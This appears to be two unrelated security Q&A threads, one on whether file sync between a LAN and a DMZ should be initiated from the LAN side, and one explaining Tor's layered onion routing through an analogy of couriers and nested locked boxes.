Secure File Replication between LAN and DMZ Our support staff established remote access connection from jumphosts that are isolated within a DMZ. To provide support they need project files (up to a few GB of size) which are stored on a file server within our LAN. Currently, the transfer is always done manually, which consumes a lot of time.

Therefore, we thought about replicating the files from LAN to DMZ. As I found out, from a security perspective it seems to be best practice to initiate a push from the internal file server to the DMZ file server. But the files need to be changed on the DMZ hosts too. So how about transfering data back?

We thought about initiating a pull from the internal LAN server. How is this seen from a security point of view? Is there other way to establish two-way file replication between DMZ and LAN that can be considered as best practice?

BR

It is better to initiate connection from the LAN to the DMZ to sync the files, no matter in which direction the sync is done. Initiating the connection from the DMZ would mean to open the firewall between LAN and DMZ which makes the LAN prone to attacks from the less secure DMZ.

When allowing connection establishment from the DMZ to the LAN you essentially expose the internal host to attacks from the DMZ. Even if the firewall is strict in that it only allows connection from the DMZ to a specific internal IP+Port an attacker which took over the DMZ (it is less protected than the LAN by design) can flood this internal IP and thus cause a denial of service. Also, firewall rules often are forgotten when they are no longer needed and it might happen that the system reachable by the rule changes and now the attacker can reach a different system through the same rule. And then there are bugs in the firewall configuration which might actually expose more than was intended - see here for a report (in German) about a bug in the router which exposed not only the intended port 443 for VPN but also 445 (SMB, i.e. windows file sharing) and this way made sensitive data available to the internet.

If instead connections are only allowed from the LAN to the DMZ, then the LAN keeps full control over what gets transferred. An attacker in the DMZ cannot simply flood the LAN from the DMZ since packets not matching an established connections are blocked by the firewall. If the data exchange is no longer needed no firewall rules need to be removed. If the IP of the internal system changes (for example due to DHCP) no firewall rule needs to be adapted. And if no firewall rule is there it also cannot be too broad.


How is Tor secure despite being open source? If Tor is open source (and thus its process of concealing your IP is known), then how does it keep anything secure? Couldn't someone look at the source code and figure out how to reverse the routing process used to hide your IP address?

I'm sure this has been thought of: I'm just curious how it's been dealt with.

I'll take a crack at explaining this without technical jargon.
Lets say you want to send a nasty letter to someone, but you'd rather not deliver the letter in person for fear that they might get angry with you.
You can ask a courier to take the letter from your house, and deliver it to the recipient, right? That works, but has the problem that the courier knows both identities, and an evil courier could snitch on you.
You could use two couriers, and instruct the first to pass it on to the second, and instruct the second to pass it on to the recipient. That almost works, because now you are the only person that knows both endpoints to the conversation. Courier A knows you and courier B, while courier B knows courier A and the recipient;
You --- A --- B --- Recipient

And just to decrease the chances of getting a bad circuit (when all couriers are evil and working together), ToR uses 3 couriers, so add a 'C' to that diagram in your head.
There is one problem remaining; how do we deliver the instructions to each courier without revealing our identity? If you wrote 'pass to B' on one piece of paper, you can give that to courier A alongside your nasty letter, but any instructions you send along with it, A can also read, and will therefore know the identities of everyone on the circuit.
ToR solves this final problem with repeated encryption, encrypting the message and instructions repeatedly, once for each courier. In terms of our analogy, this is what you do;

Put your nasty letter in a red box alongside a piece of paper saying 'pass to recipient'.

Lock the red box with the key belonging to courier C.

Put the red box inside a blue box alongside a piece of paper saying 'pass to C'.

Lock the blue box with the key belonging to courier B.

Put the blue box inside a green box alongside a piece of paper saying 'pass to B'.

Lock the green box with the key belonging to courier A and pass it to him.

If you follow this through, you will see that none of the couriers can ever have knowledge of the full circuit, and there is no way for the recipient to find out that you sent the nasty letter.